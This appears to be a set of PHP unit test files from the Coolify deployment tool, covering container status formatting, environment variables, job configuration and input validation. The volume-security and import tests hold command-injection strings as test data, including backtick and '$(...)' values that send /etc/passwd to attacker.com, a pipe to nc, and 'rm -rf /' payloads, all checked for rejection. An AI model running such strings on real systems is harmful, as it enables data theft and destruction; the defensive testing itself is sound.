$maxValue = 3;
expect($initialValue)->toBe(0);
expect($increment)->toBe(1);
expect($maxValue)->toBeGreaterThan($initialValue);
});
it('confirms fix addresses the security advisory correctly', function () {
// Security advisory states:
// "decodeHtml() function uses a loop that could be exploited with
// deeply nested HTML entities, potentially causing performance issues or DoS"
//
// Fix applied:
// 1. Add maxIterations constant (value: 3)
// 2. Add iterations counter
// 3. Update while condition to include iteration check
// 4. Increment counter in loop body
//
// This directly addresses the vulnerability
$vulnerabilityFixed = true;
expect($vulnerabilityFixed)->toBeTrue();
});
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/FormatContainerStatusTest.php | tests/Unit/FormatContainerStatusTest.php | <?php
describe('formatContainerStatus helper', function () {
describe('colon-delimited format parsing', function () {
it('transforms running:healthy to Running (healthy)', function () {
$result = formatContainerStatus('running:healthy');
expect($result)->toBe('Running (healthy)');
});
it('transforms running:unhealthy to Running (unhealthy)', function () {
$result = formatContainerStatus('running:unhealthy');
expect($result)->toBe('Running (unhealthy)');
});
it('transforms exited:0 to Exited (0)', function () {
$result = formatContainerStatus('exited:0');
expect($result)->toBe('Exited (0)');
});
it('transforms restarting:starting to Restarting (starting)', function () {
$result = formatContainerStatus('restarting:starting');
expect($result)->toBe('Restarting (starting)');
});
});
describe('excluded suffix handling', function () {
it('transforms running:unhealthy:excluded to Running (unhealthy, excluded)', function () {
$result = formatContainerStatus('running:unhealthy:excluded');
expect($result)->toBe('Running (unhealthy, excluded)');
});
it('transforms running:healthy:excluded to Running (healthy, excluded)', function () {
$result = formatContainerStatus('running:healthy:excluded');
expect($result)->toBe('Running (healthy, excluded)');
});
it('transforms exited:excluded to Exited (excluded)', function () {
$result = formatContainerStatus('exited:excluded');
expect($result)->toBe('Exited (excluded)');
});
it('transforms stopped:excluded to Stopped (excluded)', function () {
$result = formatContainerStatus('stopped:excluded');
expect($result)->toBe('Stopped (excluded)');
});
});
describe('simple status format', function () {
it('transforms running to Running', function () {
$result = formatContainerStatus('running');
expect($result)->toBe('Running');
});
it('transforms exited to Exited', function () {
$result = formatContainerStatus('exited');
expect($result)->toBe('Exited');
});
it('transforms stopped to Stopped', function () {
$result = formatContainerStatus('stopped');
expect($result)->toBe('Stopped');
});
it('transforms restarting to Restarting', function () {
$result = formatContainerStatus('restarting');
expect($result)->toBe('Restarting');
});
it('transforms degraded to Degraded', function () {
$result = formatContainerStatus('degraded');
expect($result)->toBe('Degraded');
});
});
describe('Proxy status preservation', function () {
it('preserves Proxy:running without parsing colons', function () {
$result = formatContainerStatus('Proxy:running');
expect($result)->toBe('Proxy:running');
});
it('preserves Proxy:exited without parsing colons', function () {
$result = formatContainerStatus('Proxy:exited');
expect($result)->toBe('Proxy:exited');
});
it('preserves Proxy:healthy without parsing colons', function () {
$result = formatContainerStatus('Proxy:healthy');
expect($result)->toBe('Proxy:healthy');
});
it('applies headline formatting to Proxy statuses', function () {
$result = formatContainerStatus('proxy:running');
expect($result)->toBe('Proxy (running)');
});
});
describe('headline transformation', function () {
it('applies headline to simple lowercase status', function () {
$result = formatContainerStatus('running');
expect($result)->toBe('Running');
});
it('applies headline to uppercase status', function () {
// headline() adds spaces between capital letters
$result = formatContainerStatus('RUNNING');
expect($result)->toBe('R U N N I N G');
});
it('applies headline to mixed case status', function () {
// headline() adds spaces between capital letters
$result = formatContainerStatus('RuNnInG');
expect($result)->toBe('Ru Nn In G');
});
it('applies headline to first part of colon format', function () {
// headline() adds spaces between capital letters
$result = formatContainerStatus('RUNNING:healthy');
expect($result)->toBe('R U N N I N G (healthy)');
});
});
describe('edge cases', function () {
it('handles empty string gracefully', function () {
$result = formatContainerStatus('');
expect($result)->toBe('');
});
it('handles multiple colons beyond expected format', function () {
// Only first two parts should be used (or three with :excluded)
$result = formatContainerStatus('running:healthy:extra:data');
expect($result)->toBe('Running (healthy)');
});
it('handles status with spaces in health part', function () {
$result = formatContainerStatus('running:health check failed');
expect($result)->toBe('Running (health check failed)');
});
it('handles single colon with empty second part', function () {
$result = formatContainerStatus('running:');
expect($result)->toBe('Running ()');
});
});
describe('real-world scenarios', function () {
it('handles typical running healthy container', function () {
$result = formatContainerStatus('running:healthy');
expect($result)->toBe('Running (healthy)');
});
it('handles degraded container with health issues', function () {
$result = formatContainerStatus('degraded:unhealthy');
expect($result)->toBe('Degraded (unhealthy)');
});
it('handles excluded unhealthy container', function () {
$result = formatContainerStatus('running:unhealthy:excluded');
expect($result)->toBe('Running (unhealthy, excluded)');
});
it('handles proxy container status', function () {
$result = formatContainerStatus('Proxy:running');
expect($result)->toBe('Proxy:running');
});
it('handles stopped container', function () {
$result = formatContainerStatus('stopped');
expect($result)->toBe('Stopped');
});
});
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationServiceEnvironmentVariablesTest.php | tests/Unit/ApplicationServiceEnvironmentVariablesTest.php | <?php
/**
* Unit tests to verify that Applications using Docker Compose handle
* SERVICE_URL and SERVICE_FQDN environment variables correctly.
*
* This ensures consistency with Service behavior where BOTH URL and FQDN
* pairs are always created together, regardless of which one is in the template.
*/
it('ensures parsers.php creates both URL and FQDN pairs for applications', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that the fix is in place
expect($parsersFile)->toContain('ALWAYS create BOTH SERVICE_URL and SERVICE_FQDN pairs');
expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}');
expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}');
});
it('extracts service name with case preservation for applications', function () {
// Simulate what the parser does for applications
$templateVar = 'SERVICE_URL_WORDPRESS';
$strKey = str($templateVar);
$parsed = parseServiceEnvironmentVariable($templateVar);
if ($parsed['has_port']) {
$serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
} else {
$serviceName = $strKey->after('SERVICE_URL_')->value();
}
expect($serviceName)->toBe('WORDPRESS');
expect($parsed['service_name'])->toBe('wordpress'); // lowercase for internal use
});
it('handles port-specific application service variables', function () {
$templateVar = 'SERVICE_URL_APP_3000';
$strKey = str($templateVar);
$parsed = parseServiceEnvironmentVariable($templateVar);
if ($parsed['has_port']) {
$serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
} else {
$serviceName = $strKey->after('SERVICE_URL_')->value();
}
expect($serviceName)->toBe('APP');
expect($parsed['port'])->toBe('3000');
expect($parsed['has_port'])->toBeTrue();
});
it('application should create 2 base variables when template has base SERVICE_URL', function () {
// Given: Template defines SERVICE_URL_WP
// Then: Should create both:
// 1. SERVICE_URL_WP
// 2. SERVICE_FQDN_WP
$templateVar = 'SERVICE_URL_WP';
$strKey = str($templateVar);
$parsed = parseServiceEnvironmentVariable($templateVar);
$serviceName = $strKey->after('SERVICE_URL_')->value();
$urlKey = "SERVICE_URL_{$serviceName}";
$fqdnKey = "SERVICE_FQDN_{$serviceName}";
expect($urlKey)->toBe('SERVICE_URL_WP');
expect($fqdnKey)->toBe('SERVICE_FQDN_WP');
expect($parsed['has_port'])->toBeFalse();
});
it('application should create 4 variables when template has port-specific SERVICE_URL', function () {
// Given: Template defines SERVICE_URL_APP_8080
// Then: Should create all 4:
// 1. SERVICE_URL_APP (base)
// 2. SERVICE_FQDN_APP (base)
// 3. SERVICE_URL_APP_8080 (port-specific)
// 4. SERVICE_FQDN_APP_8080 (port-specific)
$templateVar = 'SERVICE_URL_APP_8080';
$strKey = str($templateVar);
$parsed = parseServiceEnvironmentVariable($templateVar);
$serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
$port = $parsed['port'];
$baseUrlKey = "SERVICE_URL_{$serviceName}";
$baseFqdnKey = "SERVICE_FQDN_{$serviceName}";
$portUrlKey = "SERVICE_URL_{$serviceName}_{$port}";
$portFqdnKey = "SERVICE_FQDN_{$serviceName}_{$port}";
expect($baseUrlKey)->toBe('SERVICE_URL_APP');
expect($baseFqdnKey)->toBe('SERVICE_FQDN_APP');
expect($portUrlKey)->toBe('SERVICE_URL_APP_8080');
expect($portFqdnKey)->toBe('SERVICE_FQDN_APP_8080');
});
it('application should create pairs when template has only SERVICE_FQDN', function () {
// Given: Template defines SERVICE_FQDN_DB
// Then: Should create both:
// 1. SERVICE_FQDN_DB
// 2. SERVICE_URL_DB (created automatically)
$templateVar = 'SERVICE_FQDN_DB';
$strKey = str($templateVar);
$parsed = parseServiceEnvironmentVariable($templateVar);
$serviceName = $strKey->after('SERVICE_FQDN_')->value();
$urlKey = "SERVICE_URL_{$serviceName}";
$fqdnKey = "SERVICE_FQDN_{$serviceName}";
expect($fqdnKey)->toBe('SERVICE_FQDN_DB');
expect($urlKey)->toBe('SERVICE_URL_DB');
expect($parsed['has_port'])->toBeFalse();
});
it('verifies application deletion nulls both URL and FQDN', function () {
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Check that deletion handles both types
expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceNameFormatted}');
expect($parsersFile)->toContain('SERVICE_URL_{$serviceNameFormatted}');
// Both should be set to null when domain is empty
expect($parsersFile)->toContain('\'value\' => null');
});
it('handles abbreviated service names in applications', function () {
// Applications can have abbreviated names in compose files just like services
$templateVar = 'SERVICE_URL_WP'; // WordPress abbreviated
$strKey = str($templateVar);
$serviceName = $strKey->after('SERVICE_URL_')->value();
expect($serviceName)->toBe('WP');
expect($serviceName)->not->toBe('WORDPRESS');
});
it('application compose parsing creates pairs regardless of template type', function () {
// Test that whether template uses SERVICE_URL or SERVICE_FQDN,
// the parser creates both
$testCases = [
'SERVICE_URL_APP' => ['base' => 'APP', 'port' => null],
'SERVICE_FQDN_APP' => ['base' => 'APP', 'port' => null],
'SERVICE_URL_APP_3000' => ['base' => 'APP', 'port' => '3000'],
'SERVICE_FQDN_APP_3000' => ['base' => 'APP', 'port' => '3000'],
];
foreach ($testCases as $templateVar => $expected) {
$strKey = str($templateVar);
$parsed = parseServiceEnvironmentVariable($templateVar);
if ($parsed['has_port']) {
if ($strKey->startsWith('SERVICE_URL_')) {
$serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
} else {
$serviceName = $strKey->after('SERVICE_FQDN_')->beforeLast('_')->value();
}
} else {
if ($strKey->startsWith('SERVICE_URL_')) {
$serviceName = $strKey->after('SERVICE_URL_')->value();
} else {
$serviceName = $strKey->after('SERVICE_FQDN_')->value();
}
}
expect($serviceName)->toBe($expected['base'], "Failed for $templateVar");
expect($parsed['port'])->toBe($expected['port'], "Port mismatch for $templateVar");
}
});
it('verifies both application and service use same logic', function () {
$servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
$parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
// Both should have the same pattern of creating pairs
expect($servicesFile)->toContain('ALWAYS create base pair');
expect($parsersFile)->toContain('ALWAYS create BOTH');
// Both should create SERVICE_URL_
expect($servicesFile)->toContain('SERVICE_URL_{$serviceName}');
expect($parsersFile)->toContain('SERVICE_URL_{$serviceName}');
// Both should create SERVICE_FQDN_
expect($servicesFile)->toContain('SERVICE_FQDN_{$serviceName}');
expect($parsersFile)->toContain('SERVICE_FQDN_{$serviceName}');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/VolumeArrayFormatSecurityTest.php | tests/Unit/VolumeArrayFormatSecurityTest.php | <?php
use Symfony\Component\Yaml\Yaml;
test('demonstrates array-format volumes from YAML parsing', function () {
// This is how Docker Compose long syntax looks in YAML
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: ./data
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['web']['volumes'];
// Verify this creates an array format
expect($volumes[0])->toBeArray();
expect($volumes[0])->toHaveKey('type');
expect($volumes[0])->toHaveKey('source');
expect($volumes[0])->toHaveKey('target');
});
test('malicious array-format volume with backtick injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/pwn`curl attacker.com`'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['evil']['volumes'];
// The malicious volume is now an array
expect($volumes[0])->toBeArray();
expect($volumes[0]['source'])->toContain('`');
// When applicationParser or serviceParser processes this,
// it should throw an exception due to our validation
$source = $volumes[0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'backtick');
});
test('malicious array-format volume with command substitution', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/pwn$(cat /etc/passwd)'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'command substitution');
});
test('malicious array-format volume with pipe injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/file | nc attacker.com 1234'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'pipe');
});
test('malicious array-format volume with semicolon injection', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '/tmp/file; curl attacker.com'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class, 'separator');
});
test('exact example from security report in array format', function () {
$dockerComposeYaml = <<<'YAML'
services:
coolify:
image: alpine
volumes:
- type: bind
source: '/tmp/pwn`curl https://attacker.com -X POST --data "$(cat /etc/passwd)"`'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['coolify']['volumes'][0]['source'];
// This should be caught by validation
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class);
});
test('legitimate array-format volumes are allowed', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: ./data
target: /app/data
- type: bind
source: /var/lib/data
target: /data
- type: volume
source: my-volume
target: /app/volume
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['web']['volumes'];
// All these legitimate volumes should pass validation
foreach ($volumes as $volume) {
$source = $volume['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->not->toThrow(Exception::class);
}
});
test('array-format with environment variables', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: ${DATA_PATH}
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['web']['volumes'][0]['source'];
// Simple environment variables should be allowed
expect($source)->toBe('${DATA_PATH}');
// Our validation allows simple env var references
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
expect($isSimpleEnvVar)->toBe(1); // preg_match returns 1 on success, not true
});
test('array-format with safe environment variable default', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: '${DATA_PATH:-./data}'
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['web']['volumes'][0]['source'];
// Parse correctly extracts the source value
expect($source)->toBe('${DATA_PATH:-./data}');
// Safe environment variable with benign default should be allowed
// The pre-save validation skips env vars with safe defaults
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
->not->toThrow(Exception::class);
});
test('array-format with environment variable and path concatenation', function () {
// This is the reported issue #7127 - ${VAR}/path should be allowed
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- type: bind
source: '${VOLUMES_PATH}/mysql'
target: /var/lib/mysql
- type: bind
source: '${DATA_PATH}/config'
target: /etc/config
- type: bind
source: '${VOLUME_PATH}/app_data'
target: /app/data
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
// Verify all three volumes have the correct source format
expect($parsed['services']['web']['volumes'][0]['source'])->toBe('${VOLUMES_PATH}/mysql');
expect($parsed['services']['web']['volumes'][1]['source'])->toBe('${DATA_PATH}/config');
expect($parsed['services']['web']['volumes'][2]['source'])->toBe('${VOLUME_PATH}/app_data');
// The validation should allow this - the reported bug was that it was blocked
expect(fn () => validateDockerComposeForInjection($dockerComposeYaml))
->not->toThrow(Exception::class);
});
test('array-format with malicious environment variable default', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: '${VAR:-/tmp/evil`whoami`}'
target: /app
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$source = $parsed['services']['evil']['volumes'][0]['source'];
// This contains backticks and should fail validation
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class);
});
test('mixed string and array format volumes in same compose', function () {
$dockerComposeYaml = <<<'YAML'
services:
web:
image: nginx
volumes:
- './safe/data:/app/data'
- type: bind
source: ./another/safe/path
target: /app/other
- '/tmp/evil`whoami`:/app/evil'
- type: bind
source: '/tmp/evil$(id)'
target: /app/evil2
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$volumes = $parsed['services']['web']['volumes'];
// String format malicious volume (index 2)
expect(fn () => parseDockerVolumeString($volumes[2]))
->toThrow(Exception::class);
// Array format malicious volume (index 3)
$source = $volumes[3]['source'];
expect(fn () => validateShellSafePath($source, 'volume source'))
->toThrow(Exception::class);
// Legitimate volumes should work (indexes 0 and 1)
expect(fn () => parseDockerVolumeString($volumes[0]))
->not->toThrow(Exception::class);
$safeSource = $volumes[1]['source'];
expect(fn () => validateShellSafePath($safeSource, 'volume source'))
->not->toThrow(Exception::class);
});
test('array-format target path injection is also blocked', function () {
$dockerComposeYaml = <<<'YAML'
services:
evil:
image: alpine
volumes:
- type: bind
source: ./data
target: '/app`whoami`'
YAML;
$parsed = Yaml::parse($dockerComposeYaml);
$target = $parsed['services']['evil']['volumes'][0]['target'];
// Target paths should also be validated
expect(fn () => validateShellSafePath($target, 'volume target'))
->toThrow(Exception::class, 'backtick');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Jobs/RestartProxyJobTest.php | tests/Unit/Jobs/RestartProxyJobTest.php | <?php
namespace Tests\Unit\Jobs;
use App\Jobs\RestartProxyJob;
use App\Models\Server;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Mockery;
use Tests\TestCase;
/**
* Unit tests for RestartProxyJob.
*
* These tests focus on testing the job's middleware configuration and constructor.
* Full integration tests for the job's handle() method are in tests/Feature/Proxy/
* because they require database and complex mocking of SchemalessAttributes.
*/
class RestartProxyJobTest extends TestCase
{
protected function tearDown(): void
{
Mockery::close();
parent::tearDown();
}
public function test_job_has_without_overlapping_middleware()
{
$server = Mockery::mock(Server::class);
$server->shouldReceive('getSchemalessAttributes')->andReturn([]);
$server->shouldReceive('getAttribute')->with('uuid')->andReturn('test-uuid');
$job = new RestartProxyJob($server);
$middleware = $job->middleware();
$this->assertCount(1, $middleware);
$this->assertInstanceOf(WithoutOverlapping::class, $middleware[0]);
}
public function test_job_has_correct_configuration()
{
$server = Mockery::mock(Server::class);
$job = new RestartProxyJob($server);
$this->assertEquals(1, $job->tries);
$this->assertEquals(120, $job->timeout);
$this->assertNull($job->activity_id);
}
public function test_job_stores_server()
{
$server = Mockery::mock(Server::class);
$job = new RestartProxyJob($server);
$this->assertSame($server, $job->server);
}
}
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Project/Database/ImportCheckFileButtonTest.php | tests/Unit/Project/Database/ImportCheckFileButtonTest.php | <?php
use App\Livewire\Project\Database\Import;
use App\Models\Server;
test('checkFile does nothing when customLocation is empty', function () {
$component = new Import;
$component->customLocation = '';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// No server commands should be executed when customLocation is empty
$component->checkFile();
expect($component->filename)->toBeNull();
});
test('checkFile validates file exists on server when customLocation is filled', function () {
$component = new Import;
$component->customLocation = '/tmp/backup.sql';
$mockServer = Mockery::mock(Server::class);
$component->server = $mockServer;
// This test verifies the logic flows when customLocation has a value
// The actual remote process execution is tested elsewhere
expect($component->customLocation)->toBe('/tmp/backup.sql');
});
test('customLocation can be cleared to allow uploaded file to be used', function () {
$component = new Import;
$component->customLocation = '/tmp/backup.sql';
// Simulate clearing the customLocation (as happens when file is uploaded)
$component->customLocation = '';
expect($component->customLocation)->toBe('');
});
test('validateBucketName accepts valid bucket names', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateBucketName');
// Valid bucket names
expect($method->invoke($component, 'my-bucket'))->toBeTrue();
expect($method->invoke($component, 'my_bucket'))->toBeTrue();
expect($method->invoke($component, 'mybucket123'))->toBeTrue();
expect($method->invoke($component, 'my.bucket.name'))->toBeTrue();
expect($method->invoke($component, 'Bucket-Name_123'))->toBeTrue();
});
test('validateBucketName rejects invalid bucket names', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateBucketName');
// Invalid bucket names (command injection attempts)
expect($method->invoke($component, 'bucket;rm -rf /'))->toBeFalse();
expect($method->invoke($component, 'bucket$(whoami)'))->toBeFalse();
expect($method->invoke($component, 'bucket`id`'))->toBeFalse();
expect($method->invoke($component, 'bucket|cat /etc/passwd'))->toBeFalse();
expect($method->invoke($component, 'bucket&ls'))->toBeFalse();
expect($method->invoke($component, "bucket\nid"))->toBeFalse();
expect($method->invoke($component, 'bucket name'))->toBeFalse(); // Space not allowed in bucket
});
test('validateS3Path accepts valid S3 paths', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateS3Path');
// Valid S3 paths
expect($method->invoke($component, 'backup.sql'))->toBeTrue();
expect($method->invoke($component, 'folder/backup.sql'))->toBeTrue();
expect($method->invoke($component, 'my-folder/my_backup.sql.gz'))->toBeTrue();
expect($method->invoke($component, 'path/to/deep/file.tar.gz'))->toBeTrue();
expect($method->invoke($component, 'folder with space/file.sql'))->toBeTrue();
});
test('validateS3Path rejects invalid S3 paths', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateS3Path');
// Invalid S3 paths (command injection attempts)
expect($method->invoke($component, ''))->toBeFalse(); // Empty
expect($method->invoke($component, '../etc/passwd'))->toBeFalse(); // Directory traversal
expect($method->invoke($component, 'path;rm -rf /'))->toBeFalse();
expect($method->invoke($component, 'path$(whoami)'))->toBeFalse();
expect($method->invoke($component, 'path`id`'))->toBeFalse();
expect($method->invoke($component, 'path|cat /etc/passwd'))->toBeFalse();
expect($method->invoke($component, 'path&ls'))->toBeFalse();
expect($method->invoke($component, "path\nid"))->toBeFalse();
expect($method->invoke($component, "path\r\nid"))->toBeFalse();
expect($method->invoke($component, "path\0id"))->toBeFalse(); // Null byte
expect($method->invoke($component, "path'injection"))->toBeFalse();
expect($method->invoke($component, 'path"injection'))->toBeFalse();
expect($method->invoke($component, 'path\\injection'))->toBeFalse();
});
test('validateServerPath accepts valid server paths', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateServerPath');
// Valid server paths (must be absolute)
expect($method->invoke($component, '/tmp/backup.sql'))->toBeTrue();
expect($method->invoke($component, '/var/backups/my-backup.sql'))->toBeTrue();
expect($method->invoke($component, '/home/user/data_backup.sql.gz'))->toBeTrue();
expect($method->invoke($component, '/path/to/deep/nested/file.tar.gz'))->toBeTrue();
});
test('validateServerPath rejects invalid server paths', function () {
$component = new Import;
$method = new ReflectionMethod($component, 'validateServerPath');
// Invalid server paths
expect($method->invoke($component, 'relative/path.sql'))->toBeFalse(); // Not absolute
expect($method->invoke($component, '/path/../etc/passwd'))->toBeFalse(); // Directory traversal
expect($method->invoke($component, '/path;rm -rf /'))->toBeFalse();
expect($method->invoke($component, '/path$(whoami)'))->toBeFalse();
expect($method->invoke($component, '/path`id`'))->toBeFalse();
expect($method->invoke($component, '/path|cat /etc/passwd'))->toBeFalse();
expect($method->invoke($component, '/path&ls'))->toBeFalse();
expect($method->invoke($component, "/path\nid"))->toBeFalse();
expect($method->invoke($component, "/path\r\nid"))->toBeFalse();
expect($method->invoke($component, "/path\0id"))->toBeFalse(); // Null byte
expect($method->invoke($component, "/path'injection"))->toBeFalse();
expect($method->invoke($component, '/path"injection'))->toBeFalse();
expect($method->invoke($component, '/path\\injection'))->toBeFalse();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Livewire/BoardingPrerequisitesTest.php | tests/Unit/Livewire/BoardingPrerequisitesTest.php | <?php
use App\Livewire\Boarding\Index;
use App\Models\Activity;
use App\Models\Server;
/**
* These tests verify the fix for the prerequisite installation race condition.
* The key behavior is that installation runs asynchronously via Activity,
* and revalidation only happens after the ActivityMonitor callback.
*/
it('dispatches activity to monitor when prerequisites are missing', function () {
// This test verifies the core fix: that we dispatch to ActivityMonitor
// instead of immediately revalidating after starting installation.
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('validatePrerequisites')
->andReturn([
'success' => false,
'missing' => ['git'],
'found' => ['curl', 'jq'],
]);
$activity = Mockery::mock(Activity::class);
$activity->id = 'test-activity-123';
$server->shouldReceive('installPrerequisites')
->once()
->andReturn($activity);
$component = Mockery::mock(Index::class)->makePartial();
$component->createdServer = $server;
$component->prerequisiteInstallAttempts = 0;
$component->maxPrerequisiteInstallAttempts = 3;
// Key assertion: verify activityMonitor event is dispatched with correct params
$component->shouldReceive('dispatch')
->once()
->with('activityMonitor', 'test-activity-123', 'prerequisitesInstalled')
->andReturnSelf();
// Invoke the prerequisite check logic (simulating what validateServer does)
$validationResult = $component->createdServer->validatePrerequisites();
if (! $validationResult['success']) {
if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) {
throw new Exception('Max attempts exceeded');
}
$activity = $component->createdServer->installPrerequisites();
$component->prerequisiteInstallAttempts++;
$component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
}
expect($component->prerequisiteInstallAttempts)->toBe(1);
});
it('does not retry when prerequisites install successfully', function () {
// This test verifies the callback behavior when installation succeeds.
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('validatePrerequisites')
->andReturn([
'success' => true,
'missing' => [],
'found' => ['git', 'curl', 'jq'],
]);
// installPrerequisites should NOT be called again
$server->shouldNotReceive('installPrerequisites');
$component = Mockery::mock(Index::class)->makePartial();
$component->createdServer = $server;
$component->prerequisiteInstallAttempts = 1;
$component->maxPrerequisiteInstallAttempts = 3;
// Simulate the callback logic
$validationResult = $component->createdServer->validatePrerequisites();
if ($validationResult['success']) {
// Prerequisites are now valid, we'd call continueValidation()
// For the test, just verify we don't try to install again
expect($validationResult['success'])->toBeTrue();
}
});
it('retries when prerequisites still missing after callback', function () {
// This test verifies retry logic in the callback.
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('validatePrerequisites')
->andReturn([
'success' => false,
'missing' => ['git'],
'found' => ['curl', 'jq'],
]);
$activity = Mockery::mock(Activity::class);
$activity->id = 'retry-activity-456';
$server->shouldReceive('installPrerequisites')
->once()
->andReturn($activity);
$component = Mockery::mock(Index::class)->makePartial();
$component->createdServer = $server;
$component->prerequisiteInstallAttempts = 1; // Already tried once
$component->maxPrerequisiteInstallAttempts = 3;
$component->shouldReceive('dispatch')
->once()
->with('activityMonitor', 'retry-activity-456', 'prerequisitesInstalled')
->andReturnSelf();
// Simulate callback logic
$validationResult = $component->createdServer->validatePrerequisites();
if (! $validationResult['success']) {
if ($component->prerequisiteInstallAttempts < $component->maxPrerequisiteInstallAttempts) {
$activity = $component->createdServer->installPrerequisites();
$component->prerequisiteInstallAttempts++;
$component->dispatch('activityMonitor', $activity->id, 'prerequisitesInstalled');
}
}
expect($component->prerequisiteInstallAttempts)->toBe(2);
});
it('throws exception when max attempts exceeded', function () {
// This test verifies that we stop retrying after max attempts.
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('validatePrerequisites')
->andReturn([
'success' => false,
'missing' => ['git', 'curl'],
'found' => ['jq'],
]);
// installPrerequisites should NOT be called when at max attempts
$server->shouldNotReceive('installPrerequisites');
$component = Mockery::mock(Index::class)->makePartial();
$component->createdServer = $server;
$component->prerequisiteInstallAttempts = 3; // Already at max
$component->maxPrerequisiteInstallAttempts = 3;
// Simulate callback logic - should throw exception
$validationResult = $component->createdServer->validatePrerequisites();
if (! $validationResult['success']) {
if ($component->prerequisiteInstallAttempts >= $component->maxPrerequisiteInstallAttempts) {
$missingCommands = implode(', ', $validationResult['missing']);
